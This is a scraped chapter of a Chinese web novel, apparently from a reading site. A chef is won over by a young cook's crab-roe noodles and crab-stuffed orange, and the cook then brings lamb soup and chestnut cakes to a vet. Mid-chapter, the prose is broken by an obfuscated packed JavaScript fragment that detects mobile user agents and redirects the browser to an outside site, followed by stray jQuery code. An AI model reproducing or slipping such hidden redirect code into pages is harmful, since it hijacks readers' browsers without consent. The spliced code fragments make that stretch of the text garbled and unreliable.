默认冷灰
24号文字
方正启体

19. 蟹黄面2

作者:曦茶本书字数:K更新时间:
    原本他走了一路,嘴唇有点干,这第一口蟹黄面吃到嘴里,莹润的汤汁滋润口舌,香味登时充盈口腔。


    嚼了几口面,楚家雄有些震惊地睁大眼。


    “这面是用什么吊汤煮出来的?竟然能这么香......”楚家雄小声嘟囔着,放慢了咀嚼的速度,细细品味着。


    那面筋道弹牙,而且细细的很方便入口,外层包裹的是蟹肉的鲜美味道,内里的香味层次感很强,集合了好几种食材的香味,非常神秘。


    “应该有鸡汤、豚骨汤......”楚家雄闭上眼睛慢慢咀嚼。


    随着食物的咽下,那别样的香味渐渐消失,他想要留住这味道,赶紧又扯了一小撮面,“吸吸溜溜”入口,腮帮子都鼓鼓的。


    “还加了什么汤煨出来的啊,可以做到这么鲜......鱼汤吗?好像又不太像......”楚家雄继续品味着。


    包裹了勾芡过的蟹肉汁的面,每一口都是水分刚好。


    不知不觉间,大半碗蟹黄面下肚,楚家雄反应过来时,有点惊讶,这小馆子的面,居然比他自己做的还要出彩。


    尤其是蟹肉间,没有夹杂一丝会让口感变差的蟹的器官,蟹黄香浓而绵密。


    而且加了醋的缘故,让这蟹的口味更添几抹清新,即便是一口接着一口地吃,却也不腻,每一口都像是第一口一样美味。


    “确实有点的功夫。”楚家雄向来实事求是,佩服地点点头。


    最后盖住碗底的几筷子面,他舍不得吃完,拿起啤酒瓶,痛饮了两口。


    清爽微苦的啤酒,冲走了口中的香味,让他有些不舍。


    很快,他又将视线转移到了蟹酿橙上。


    这道菜他之前了解过,是一种古代做蟹的方法,只不过很难做得符合大众口味。


    橙肉加多了,就盖住了螃蟹的鲜味,螃蟹多了,又尝不出果香,而且蟹腥也很难盖住。


    再者说,现在很多模仿古代做菜的饭点,都只是模仿了个皮毛,算不上是真正的古菜。


    然而这样的刻板印象,随着他舀了一勺蟹酿橙,送到嘴里后,改变了。


    蟹肉和橙肉的用量、炒制恰到好处,果香让蟹肉增添一抹富有生机的果甜,蟹肉又是恰到好处的咸口。


    两者味道相辅相成,合二为一,而且汁水丰厚,让楚家雄一勺接着一勺,吃得停不下来。


    “呼——呼——”楚家雄嘬勺子的声音格外大,一整份蟹酿橙吃完,他还有点不过瘾,“乖乖,这小饭馆的老板是何方神圣啊,做菜这么好吃。”


    楚家雄探头望向厨房,金色的阳光斜照进厨房,让江云枫耳朵上的深红色枫叶耳钉,一闪一闪地反光。


    虽然两个锅里的菜需要来回炒制,她却丝毫不会手忙脚乱,既能控制好火候,又在各种食材间来回而游刃有余,总让人觉得她有种超凡的气质。


    “果然不一般。”楚家雄又将视线收回饭桌,几口啤酒下肚,他惬意地眯起了眼睛,他本来想着,尝到这里的饭菜不好吃,那就吃两口就走了,没想到大快朵颐了一顿。


    那鲜虾豆腐煲也格外惊艳,虾仁饱满Q弹,金针菇脆脆的,吸饱了番茄汤汁,豆腐嫩而轻抿即破碎。


    几样菜都吃完,他又用蟹黄面当作收尾,最后一口,满是金黄的蟹肉和蟹黄,再加上多种吊汤共同成就的灵魂细面,简直好吃到整个脑袋都清爽了。


    作为五星级厨师,楚家雄没少吃过大厨做的菜,口味也非常挑剔,很多时候去饭店,吃个八分饱就放下筷子了,不会空盘。


    可现在,面前几道菜的盘子都被他吃得干干净净。


    回想起儿子楚逸山发的朋友圈,楚家雄忽然理解了,儿子为什么会被这里的饭菜迷住,现在他也被这里的菜迷住了,并且由衷佩服这个看上去才二十出头的老板。


    “可以把你们老板叫过来吗?我有点问题想问她。”楚家雄叫来了林若雪,态度比刚到店缓和很多。


    “啊?可以的,您稍等。”林若雪转头进了厨房。


    不一会,江云枫从厨房走出来,她走路带着很强的气场,两边的鬓发都微微浮动。


    “您好,有什么问题吗?”江云枫还以为这位资深厨师,对自己做的饭菜不满意,可往桌子上一看,碗盘皆空。


    “没有问题没有问题。”不同于刚进店时满脸的轻蔑,现在楚家雄笑眯眯的,说话语气也温和很多,“我是想跟您交流一下做菜经验。”


    “就比如说,一般宽油赤酱做出来的菜才比较好吃,但是这几道菜都没怎么放油,您是怎么做得这么好吃的?”


    “宽油赤酱比较适合重口味的食客。”江云枫倒也不介意和人探讨厨艺,“但是这么做会盖住食材原本的香味和鲜味。”


    “所以我用的是秘制的料汁,简单调味,反而更突出食材本真的味道。再有就是一些做菜手法问题,比如火候得当,或是煮过再炒、炸过再炖,以及香料的配比尝试,都会让菜品有个人的风格。”


    “受教了。”楚家雄抱了抱拳,“冒昧问一下,您这么年轻就能把饭菜做得这么好吃,是自己钻研的,还是有高人传授呢?”


    “我们家祖辈都是厨师,是祖母教我的,还有就是从小就对做饭感兴趣,没少捣鼓。”江云枫笑道。


    江云枫回想着上辈子的事情,小时候她还没灶台高时,祖母就教了她很多做菜的技法,她也抱着各种瓶瓶罐罐的调料,把一道菜做上几十次,只为找到最好的口感。


    “实不相瞒,我是一个五星级酒店的厨师,今天本来是抱着怀疑的态度来吃饭的,没想到被您的手艺惊艳了,之前儿子说您做菜比我好吃,我还不服气,现在输得心服口服。”


    平心而论,楚家雄觉得自己做的饭菜中规中矩,不像是江云枫做的菜,既能做到香味层次无与伦比的丰富,又能感受到食物鲜活的味道,整道菜仿佛有了灵魂。


    “其实您儿子刚到店,就跟我夸您的手艺,只要用心做菜,就都是好厨师。”江云枫听他讲话,时不时点点头,此刻神色认真地望着他,“我做菜的想法就是,食客吃得开心就好,至于做菜技巧,还是您经验丰富些。”


    年少有为容易恃才傲物,楚家雄以为江云枫会炫耀一番自己的才能,没想到竟然如此谦逊,他更高看她了。


    “您真是不一般。”楚家雄临走前,又感慨道。


    江云枫没讲话,默默笑着目送他离开。


    前世收到的称赞太多,她已经习以为常。


    -


    原本以为在这客流量不大的地界,88元一碗的蟹黄面应该不太好卖,她只准备了10碗的食材,可没想到,依靠着食客群的推荐,以及口口相传的安利,一中午的时间就售罄了。


    甚至很多人在江家小酒馆食客群哀嚎,希望能及时补货,最好能晚上就吃上。


    江云枫看着今天中午1000多元的营业额,心里松了口气,照这个架势,还完突然出现的小狗治疗费,再按期换上房贷,也绰绰有余。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812593|158240||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    忙完中午的高峰期,江云枫想着去见姜小麦医生,不好空着手。


    根据原主的记忆,她有几次下午三四点到“芳草地宠物医院”,姜小麦医生才忙完吃饭,而且吃的多是北方菜。


    江云枫想了想,近日天气越来越冷,吃上一碗热乎乎的羊羹泡馍,再佐以几块清甜可口的松仁栗子糕,再好不过。


    煮熟的栗子散发幽幽的香气,捣碎成泥,过筛之后成为细碎的栗子粉,同松子仁在黄油中炒过,干松甜香。


    再加上一抹红棕色的桂花红糖,在模具中压成麻将大小的方糕。


    金黄的糕点间错杂着棕色的松子仁,整体呈现出纷繁精致的花纹,看着就诱人。


    那羊羹更是惊艳,慢卤过的羊肉已经成了酱色,切成一元硬币大小的块状,再放入汤中。


    卤羊肉的汤同鸡汤一起作为汤底,香味满溢,香菇碎、笋丁、山药丁在汤中慢炖,不仅将蔬菜香气融入汤中,更是吸饱了羊肉的肥美味道。


    金色的黄花菜与黑色的木耳,以及泡发的透明粉丝,又为这羊羹添上丰富的滋味。


    出锅之际,那羊羹浓稠而食材颇多,撒上葱花,香味浓郁而扑鼻,卖相莹亮而勾人食欲。


    江云枫又自己做了用来泡在羊羹中吃的饼,饼子雪白,圆圆的,两面煎得微焦,摸上去还有一层细细的粉质感。


    将羊羹、四个馍、松仁栗子糕用保温盒打包好,江云枫暂关店门,去了“芳草地宠物医院”。


    这地方离江家小酒馆不算远,步行十五分钟就到了,江云枫到达时,比约定时间还早了十分钟。


    这家是连锁宠物医院,二楼是给宠物看病的地方,一楼是寄养区、洗澡区,还有各种宠物相关用品售卖,很多毛孩子家长们坐在这里,等着自家宠物洗好澡。


    “刚忙完,正好赶上你来接小狗了。”姜小麦笑着迎接江云枫。


    “您还没吃饭吧?”


    “还没呢,今天中午给哈士奇洗澡,斗智斗勇了三个小时,这才刚弄完。”姜小麦手里比划着那哈士奇跳上跳下的样子。


    “正好,我给您做了碗羊羹泡馍。还有松仁栗子羹。”江云枫将保温饭盒拿出来,“多谢您这段时间对我家小狗的照顾,今天我来还一下您垫付的钱,还有这份吃的,算是小小的感谢。”


    “其实你手头紧的话,过段时间还钱也可以的。至于这个饭菜......”姜小麦讲着讲着,面露难色。


    两个多月前,江云枫也曾让姜小麦见识过做菜手艺,那饭难吃得,差点让她昏迷过去。


    但是面对江云枫真诚的眼神,她又不能负了好意,于是想打开饭盒盖子夸奖几句成色,再放到一边说等会儿吃,等江云枫走了,再偷偷倒掉。


    “我先打开看看。”


    没想到饭盒一打开,一股浓郁的香气制止了她的想法。


    羊肉香气伴随着热气,一浪又一浪地飘来,碗中食材纷繁多样,一旁饭盒内的饼子散发出面香。


    姜小麦又怔怔地打开点心盖子,板栗甜香与坚果的香气,氤氲在空气中。


    “好香啊......”


    这股味道不止姜小麦闻到了,连离得远一些却鼻子很尖的猫猫狗狗,也都不约而同地转头看向姜小麦,猫猫狗狗一排湿漉漉的黑色鼻头来回耸动,想要吸入更多的香气。


    一只嘴馋的西高地和一只急躁的雪纳瑞,按耐不住了,朝姜小麦作揖,此起彼伏。


    宠物店骚动起来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)